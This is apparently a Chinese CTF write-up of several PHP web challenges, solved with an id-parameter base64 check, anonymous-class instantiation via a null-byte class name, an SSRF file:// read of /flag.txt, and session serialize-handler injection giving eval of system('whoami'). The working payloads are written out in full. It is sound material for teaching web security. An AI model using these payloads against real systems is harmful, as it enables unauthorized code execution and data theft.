来签个到吧~~
<?php
error_reporting(0);
highlight_file(__FILE__);
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; }
echo getenv("\107\132\103\124\106\137\106\114\101\107"); lklsgyy:
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; }
\x69\x64
是一个十六进制转义序列,表示字符串"id"
。\150\x65\156\141\156
是一个八进制和十六进制转义序列,表示字符串"henan"
。base64_encode("\150\x65\156\141\156")
将字符串"henan"
编码为base64。
代码检查 $_REQUEST
数组中的 id
参数(包括 $_GET
和 $_POST
数据)是否等于 "henan"
的base64编码值。
"henan"
的base64编码值是"aGVuYW4="
。
如果 id
参数不等于 "aGVuYW4="
,代码会跳转到标签 lklsgyy
。
记得匿名哟~
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = new class {
function getflag()
{
system('cat /flag.txt');
}
};
unset($a); //这行代码销毁了变量 $a,因此之前创建的匿名类实例不再可用。
$a = $_GET['class'];
$f = new $a();
$f->getflag();
?>
匿名类的实例化
Payload:
?class=class@anonymous%00/var/www/html/index.php:4$0
class@anonymous
是匿名类的名称,固定的
/var/www/html/index.php
是匿名类所在的文件
4
是匿名类在这个文件的第几行
0
是这个匿名类是第几次创建,环境刚创建时是0
搜索一下
SSRF使用file协议即可
<?php
function geturl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
}
if(isset($_POST['url'])){
if(preg_match("/flag/i", $_POST['url'])){
echo "<b>flag在/flag.txt</b>";
}
geturl($_POST['url']);
}
else{
echo "
<!DOCTYPE html>
<html>
<head>
<meta charset='UTF-8'>
</head>
<body>
<form method='post'>
<input type='text' name='url' placeholder='输入网址'>
<input type='submit' name='submit' placeholder='提交'>
</form>
</body>
</html>";
}
POST:
url=file:///flag.txt
包简单,一把梭
ThinkPhp一把梭 没看出来ThinkPhp
你知道SESSION吗(session反序列化逃逸)
<?php
error_reporting(0);
session_start();
class HelloEva{
private $name;
function __wakeup(){
echo "Welcome To Eva Word~";
}
function __destruct(){
eval($this->name);
}
}
$obj = new HelloEva();
highlight_file(__FILE__);
# Look Look session.php?
?>
session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>
ini_set('session.serialize_handler','php_serialize');
:设置会话序列化处理器为’php_serialize’,这意味着会话数据将使用PHP的序列化机制进行存储。
session默认的序列化引擎是php
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
pop:
<?php
error_reporting(0);
class HelloEva{
private $name = "system('whoami');";
}
$a = new HelloEva();
echo urlencode(serialize($a));
# O%3A8%3A%22HelloEva%22%3A1%3A%7Bs%3A14%3A%22%00HelloEva%00name%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D
前面加个|
发送即可
GET: session=|O%3A8%3A%22HelloEva%22%3A1%3A%7Bs%3A14%3A%22%00HelloEva%00name%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D
还有一个easyphp(反序列化绕过__wakeup)和easyjs 环境寄了 没有复现(其实是懒